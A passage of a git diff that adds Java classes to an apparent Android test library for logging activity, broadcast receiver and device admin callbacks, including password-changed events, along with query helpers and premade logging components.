+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.DeviceAdminReceiverInfo;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQuery;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQueryHelper;
+import com.android.eventlib.queryhelpers.IntentQueryHelper;
+import com.android.eventlib.queryhelpers.UserHandleQuery;
+import com.android.eventlib.queryhelpers.UserHandleQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent)} or
+ * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent, UserHandle)} is called.
+ */
+public final class DeviceAdminPasswordChangedEvent extends Event {
+
+    /** Begin a query for {@link DeviceAdminPasswordChangedEvent} events. */
+    public static DeviceAdminPasswordChangedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminPasswordChangedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminPasswordChangedEvent}. */
+    public static final class DeviceAdminPasswordChangedEventQuery
+            extends EventLogsQuery<DeviceAdminPasswordChangedEvent,
+            DeviceAdminPasswordChangedEventQuery> {
+        DeviceAdminReceiverQueryHelper<DeviceAdminPasswordChangedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminPasswordChangedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        UserHandleQueryHelper<DeviceAdminPasswordChangedEventQuery> mUserHandle =
+                new UserHandleQueryHelper<DeviceAdminPasswordChangedEventQuery>(this);
+
+        private DeviceAdminPasswordChangedEventQuery(String packageName) {
+            super(DeviceAdminPasswordChangedEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminPasswordChangedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminPasswordChangedEventQuery>
+                whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Query {@link UserHandle} passed into
+         * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent, UserHandle)}.
+         */
+        @CheckResult
+        public UserHandleQuery<DeviceAdminPasswordChangedEventQuery> whereUserHandle() {
+            return mUserHandle;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminPasswordChangedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mUserHandle.matches(event.mUserHandle)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link DeviceAdminPasswordChangedEvent}. */
+    public static DeviceAdminPasswordChangedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminPasswordChangedEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminPasswordChangedEvent}. */
+    public static final class DeviceAdminPasswordChangedEventLogger
+            extends EventLogger<DeviceAdminPasswordChangedEvent> {
+        private DeviceAdminPasswordChangedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminPasswordChangedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminPasswordChangedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public DeviceAdminPasswordChangedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Set the {@link UserHandle}. */
+        public DeviceAdminPasswordChangedEventLogger setUserHandle(UserHandle userHandle) {
+            mEvent.mUserHandle = new SerializableParcelWrapper<>(userHandle);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected SerializableParcelWrapper<UserHandle> mUserHandle;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /**
+     * The {@link UserHandle} passed into
+     * {@link DeviceAdminReceiver#onPasswordChanged(Context, Intent, UserHandle)}.
+     */
+    public UserHandle userHandle() {
+        if (mUserHandle == null) {
+            return null;
+        }
+        return mUserHandle.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminPasswordChangedEvent{"
+                + " intent=" + intent()
+                + ", userHandle=" + userHandle()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java
new file mode 100644
index 0000000..41ccb8a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ActivityInfo.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import android.app.Activity;
+
+/**
+ * Wrapper for information about an {@link Activity}.
+ *
+ * <p>This is used instead of {@link Activity} so that it can be easily serialized.
+ */
+public class ActivityInfo extends ClassInfo {
+
+    public ActivityInfo(Activity activity) {
+        this(activity.getClass());
+    }
+
+    public ActivityInfo(Class<? extends Activity> activityClass) {
+        this(activityClass.getName());
+    }
+
+    public ActivityInfo(String activityClassName) {
+        super(activityClassName);
+        // TODO(scottjonathan): Add more information about the activity (e.g. parse the
+        //  manifest)
+    }
+
+    @Override
+    public String toString() {
+        return "Activity{"
+                + "class=" + super.toString()
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/BroadcastReceiverInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/BroadcastReceiverInfo.java
new file mode 100644
index 0000000..83095be
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/BroadcastReceiverInfo.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import android.content.BroadcastReceiver;
+
+/**
+ * Wrapper for information about an {@link BroadcastReceiver}.
+ *
+ * <p>This is used instead of {@link BroadcastReceiver} so that it can be easily serialized.
+ */
+public class BroadcastReceiverInfo extends ClassInfo {
+
+    public BroadcastReceiverInfo(BroadcastReceiver broadcastReceiver) {
+        this(broadcastReceiver.getClass());
+    }
+
+    public BroadcastReceiverInfo(Class<? extends BroadcastReceiver> broadcastReceiverClass) {
+        this(broadcastReceiverClass.getName());
+    }
+
+    public BroadcastReceiverInfo(String broadcastReceiverClassName) {
+        super(broadcastReceiverClassName);
+        // TODO(scottjonathan): Add more information about the broadcast receiver
+    }
+
+    @Override
+    public String toString() {
+        return "BroadcastReceiver{"
+                + "class=" + super.toString()
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java
new file mode 100644
index 0000000..b0d245a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/ClassInfo.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import java.io.Serializable;
+
+/**
+ * Wrapper for information about a {@link Class}.
+ *
+ * <p>This is used instead of {@link Class} so that it can be easily serialized.
+ */
+public class ClassInfo implements Serializable {
+    private final String mClassName;
+
+    public ClassInfo(Object obj) {
+        this(obj.getClass());
+    }
+
+    public ClassInfo(Class<?> clazz) {
+        this(clazz.getName());
+    }
+
+    public ClassInfo(String className) {
+        mClassName = className;
+    }
+
+    public String className() {
+        return mClassName;
+    }
+
+    public String simpleName() {
+        return getSimpleName(mClassName);
+    }
+
+    private static String getSimpleName(String name) {
+        // First deal with inner classes
+        int dollar = name.lastIndexOf("$");
+        if (dollar > 0) {
+            return name.substring(dollar + 1); // strip the package name
+        }
+
+        int dot = name.lastIndexOf(".");
+        if (dot > 0) {
+            return name.substring(dot + 1); // strip the package name
+        }
+        return name;
+    }
+
+    @Override
+    public String toString() {
+        return "Class{"
+                + "className=" + className()
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/DeviceAdminReceiverInfo.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/DeviceAdminReceiverInfo.java
new file mode 100644
index 0000000..611e216
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/info/DeviceAdminReceiverInfo.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.info;
+
+import android.app.admin.DeviceAdminReceiver;
+
+/**
+ * Wrapper for information about a {@link DeviceAdminReceiver}.
+ *
+ * <p>This is used instead of {@link DeviceAdminReceiver} so that it can be easily serialized.
+ */
+public class DeviceAdminReceiverInfo extends BroadcastReceiverInfo {
+    public DeviceAdminReceiverInfo(DeviceAdminReceiver deviceAdminReceiver) {
+        super(deviceAdminReceiver);
+    }
+
+    public DeviceAdminReceiverInfo(
+            Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+        super(deviceAdminReceiverClass);
+    }
+
+    public DeviceAdminReceiverInfo(String deviceAdminReceiverClassName) {
+        super(deviceAdminReceiverClassName);
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminReceiver{"
+                + "broadcastReceiver=" + super.toString()
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
new file mode 100644
index 0000000..06af095
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibActivity.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+import com.android.eventlib.events.activities.ActivityDestroyedEvent;
+import com.android.eventlib.events.activities.ActivityPausedEvent;
+import com.android.eventlib.events.activities.ActivityRestartedEvent;
+import com.android.eventlib.events.activities.ActivityResumedEvent;
+import com.android.eventlib.events.activities.ActivityStartedEvent;
+import com.android.eventlib.events.activities.ActivityStoppedEvent;
+
+/**
+ * An {@link Activity} which logs events for all lifecycle events.
+ */
+public class EventLibActivity extends Activity {
+
+    private String mOverrideActivityClassName;
+
+    public void setOverrideActivityClassName(String overrideActivityClassName) {
+        mOverrideActivityClassName = overrideActivityClassName;
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        logOnCreate(savedInstanceState, /* persistentState= */ null);
+    }
+
+    /** Log a {@link ActivityCreatedEvent}. */
+    @Override
+    public void onCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        super.onCreate(savedInstanceState, persistentState);
+        logOnCreate(savedInstanceState, persistentState);
+    }
+
+    private void logOnCreate(Bundle savedInstanceState, PersistableBundle persistentState) {
+        ActivityCreatedEvent.ActivityCreatedEventLogger logger =
+                ActivityCreatedEvent.logger(this, savedInstanceState)
+                        .setPersistentState(persistentState);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityStartedEvent}. */
+    @Override
+    protected void onStart() {
+        super.onStart();
+        ActivityStartedEvent.ActivityStartedEventLogger logger =
+                ActivityStartedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityRestartedEvent}. */
+    @Override
+    protected void onRestart() {
+        super.onRestart();
+        ActivityRestartedEvent.ActivityRestartedEventLogger logger =
+                ActivityRestartedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityResumedEvent}. */
+    @Override
+    protected void onResume() {
+        super.onResume();
+        ActivityResumedEvent.ActivityResumedEventLogger logger =
+                ActivityResumedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityPausedEvent}. */
+    @Override
+    protected void onPause() {
+        super.onPause();
+        ActivityPausedEvent.ActivityPausedEventLogger logger =
+                ActivityPausedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityStoppedEvent}. */
+    @Override
+    protected void onStop() {
+        super.onStop();
+        ActivityStoppedEvent.ActivityStoppedEventLogger logger =
+                ActivityStoppedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+
+    /** Log a {@link ActivityDestroyedEvent}. */
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        ActivityDestroyedEvent.ActivityDestroyedEventLogger logger =
+                ActivityDestroyedEvent.logger(this);
+
+        if (mOverrideActivityClassName != null) {
+            logger.setActivity(mOverrideActivityClassName);
+        }
+
+        logger.log();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
new file mode 100644
index 0000000..d70efbe
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibAppComponentFactory.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.Activity;
+import android.app.AppComponentFactory;
+import android.content.BroadcastReceiver;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * An {@link AppComponentFactory} which redirects invalid class names to premade EventLib classes.
+ */
+public class EventLibAppComponentFactory extends AppComponentFactory {
+
+    private static final String LOG_TAG = "EventLibACF";
+
+    @Override
+    public Activity instantiateActivity(ClassLoader classLoader, String className, Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+
+        try {
+            return super.instantiateActivity(classLoader, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG,
+                    "Activity class (" + className + ") not found, routing to EventLibActivity");
+            EventLibActivity activity =
+                    (EventLibActivity) super.instantiateActivity(
+                            classLoader, EventLibActivity.class.getName(), intent);
+            activity.setOverrideActivityClassName(className);
+            return activity;
+        }
+    }
+
+    @Override
+    public BroadcastReceiver instantiateReceiver(ClassLoader classLoader, String className,
+            Intent intent)
+            throws InstantiationException, IllegalAccessException, ClassNotFoundException {
+        try {
+            return super.instantiateReceiver(classLoader, className, intent);
+        } catch (ClassNotFoundException e) {
+            Log.d(LOG_TAG, "Broadcast Receiver class (" + className
+                    + ") not found, routing to EventLibBroadcastReceiver");
+
+            EventLibBroadcastReceiver receiver = (EventLibBroadcastReceiver)
+                    super.instantiateReceiver(
+                            classLoader, EventLibBroadcastReceiver.class.getName(), intent);
+            receiver.setOverrideBroadcastReceiverClassName(className);
+            return receiver;
+        }
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibBroadcastReceiver.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibBroadcastReceiver.java
new file mode 100644
index 0000000..be80ebd
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibBroadcastReceiver.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+
+/**
+ * A {@link BroadcastReceiver} which logs events when receiving broadcasts.
+ */
+public class EventLibBroadcastReceiver extends BroadcastReceiver {
+
+    private String mOverrideBroadcastReceiverClassName;
+
+    public void setOverrideBroadcastReceiverClassName(String overrideBroadcastReceiverClassName) {
+        mOverrideBroadcastReceiverClassName = overrideBroadcastReceiverClassName;
+    }
+
+    /** Log a {@link BroadcastReceivedEvent}. */
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        BroadcastReceivedEvent.BroadcastReceivedEventLogger logger =
+                BroadcastReceivedEvent.logger(this, context, intent);
+
+        if (mOverrideBroadcastReceiverClassName != null) {
+            logger.setBroadcastReceiver(mOverrideBroadcastReceiverClassName);
+        }
+
+        logger.log();
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
new file mode 100644
index 0000000..1c243ad
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/premade/EventLibDeviceAdminReceiver.java
@@ -0,0 +1,253 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.PersistableBundle;
+import android.os.UserHandle;
+
+import com.android.eventlib.events.broadcastreceivers.BroadcastReceivedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisableRequestedEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminDisabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
+
+/** Implementation of {@link DeviceAdminReceiver} which logs events in response to callbacks. */
+public class EventLibDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    private String mOverrideDeviceAdminReceiverClassName;
+
+    public void setOverrideDeviceAdminReceiverClassName(
+            String overrideDeviceAdminReceiverClassName) {
+        mOverrideDeviceAdminReceiverClassName = overrideDeviceAdminReceiverClassName;
+    }
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        DeviceAdminEnabledEvent.DeviceAdminEnabledEventLogger logger =
+                DeviceAdminEnabledEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onEnabled(context, intent);
+    }
+
+    @Override
+    public CharSequence onDisableRequested(Context context, Intent intent) {
+        DeviceAdminDisableRequestedEvent.DeviceAdminDisableRequestedEventLogger logger =
+                DeviceAdminDisableRequestedEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        return super.onDisableRequested(context, intent);
+    }
+
+    @Override
+    public void onDisabled(Context context, Intent intent) {
+        DeviceAdminDisabledEvent.DeviceAdminDisabledEventLogger logger =
+                DeviceAdminDisabledEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onDisabled(context, intent);
+    }
+
+    @Override
+    public void onPasswordChanged(Context context, Intent intent) {
+        DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventLogger logger =
+                DeviceAdminPasswordChangedEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onPasswordChanged(context, intent);
+    }
+
+    @Override
+    public void onPasswordChanged(Context context, Intent intent, UserHandle user) {
+        DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventLogger logger =
+                DeviceAdminPasswordChangedEvent.logger(this, context, intent);
+        logger.setUserHandle(user);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setDeviceAdminReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onPasswordChanged(context, intent, user);
+    }
+
+    @Override
+    public void onPasswordFailed(Context context, Intent intent) {
+        super.onPasswordFailed(context, intent);
+    }
+
+    @Override
+    public void onPasswordFailed(Context context, Intent intent, UserHandle user) {
+        super.onPasswordFailed(context, intent, user);
+    }
+
+    @Override
+    public void onPasswordSucceeded(Context context, Intent intent) {
+        super.onPasswordSucceeded(context, intent);
+    }
+
+    @Override
+    public void onPasswordSucceeded(Context context, Intent intent, UserHandle user) {
+        super.onPasswordSucceeded(context, intent, user);
+    }
+
+    @Override
+    public void onPasswordExpiring(Context context, Intent intent) {
+        super.onPasswordExpiring(context, intent);
+    }
+
+    @Override
+    public void onPasswordExpiring(Context context, Intent intent, UserHandle user) {
+        super.onPasswordExpiring(context, intent, user);
+    }
+
+    @Override
+    public void onProfileProvisioningComplete(Context context, Intent intent) {
+        super.onProfileProvisioningComplete(context, intent);
+    }
+
+    @Override
+    public void onReadyForUserInitialization(Context context, Intent intent) {
+        super.onReadyForUserInitialization(context, intent);
+    }
+
+    @Override
+    public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+        super.onLockTaskModeEntering(context, intent, pkg);
+    }
+
+    @Override
+    public void onLockTaskModeExiting(Context context, Intent intent) {
+        super.onLockTaskModeExiting(context, intent);
+    }
+
+    @Override
+    public String onChoosePrivateKeyAlias(Context context, Intent intent, int uid, Uri uri,
+            String alias) {
+        return super.onChoosePrivateKeyAlias(context, intent, uid, uri, alias);
+    }
+
+    @Override
+    public void onSystemUpdatePending(Context context, Intent intent, long receivedTime) {
+        super.onSystemUpdatePending(context, intent, receivedTime);
+    }
+
+    @Override
+    public void onBugreportSharingDeclined(Context context, Intent intent) {
+        super.onBugreportSharingDeclined(context, intent);
+    }
+
+    @Override
+    public void onBugreportShared(Context context, Intent intent, String bugreportHash) {
+        super.onBugreportShared(context, intent, bugreportHash);
+    }
+
+    @Override
+    public void onBugreportFailed(Context context, Intent intent, int failureCode) {
+        super.onBugreportFailed(context, intent, failureCode);
+    }
+
+    @Override
+    public void onSecurityLogsAvailable(Context context, Intent intent) {
+        super.onSecurityLogsAvailable(context, intent);
+    }
+
+    @Override
+    public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
+            int networkLogsCount) {
+        super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
+    }
+
+    @Override
+    public void onUserAdded(Context context, Intent intent, UserHandle addedUser) {
+        super.onUserAdded(context, intent, addedUser);
+    }
+
+    @Override
+    public void onUserRemoved(Context context, Intent intent, UserHandle removedUser) {
+        super.onUserRemoved(context, intent, removedUser);
+    }
+
+    @Override
+    public void onUserStarted(Context context, Intent intent, UserHandle startedUser) {
+        super.onUserStarted(context, intent, startedUser);
+    }
+
+    @Override
+    public void onUserStopped(Context context, Intent intent, UserHandle stoppedUser) {
+        super.onUserStopped(context, intent, stoppedUser);
+    }
+
+    @Override
+    public void onUserSwitched(Context context, Intent intent, UserHandle switchedUser) {
+        super.onUserSwitched(context, intent, switchedUser);
+    }
+
+    @Override
+    public void onTransferOwnershipComplete(Context context, PersistableBundle bundle) {
+        super.onTransferOwnershipComplete(context, bundle);
+    }
+
+    @Override
+    public void onTransferAffiliatedProfileOwnershipComplete(Context context, UserHandle user) {
+        super.onTransferAffiliatedProfileOwnershipComplete(context, user);
+    }
+
+    @Override
+    public void onOperationSafetyStateChanged(Context context, int reason, boolean isSafe) {
+        super.onOperationSafetyStateChanged(context, reason, isSafe);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        BroadcastReceivedEvent.BroadcastReceivedEventLogger logger =
+                BroadcastReceivedEvent.logger(this, context, intent);
+
+        if (mOverrideDeviceAdminReceiverClassName != null) {
+            logger.setBroadcastReceiver(mOverrideDeviceAdminReceiverClassName);
+        }
+
+        logger.log();
+
+        super.onReceive(context, intent);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/queryhelpers/ActivityQuery.java
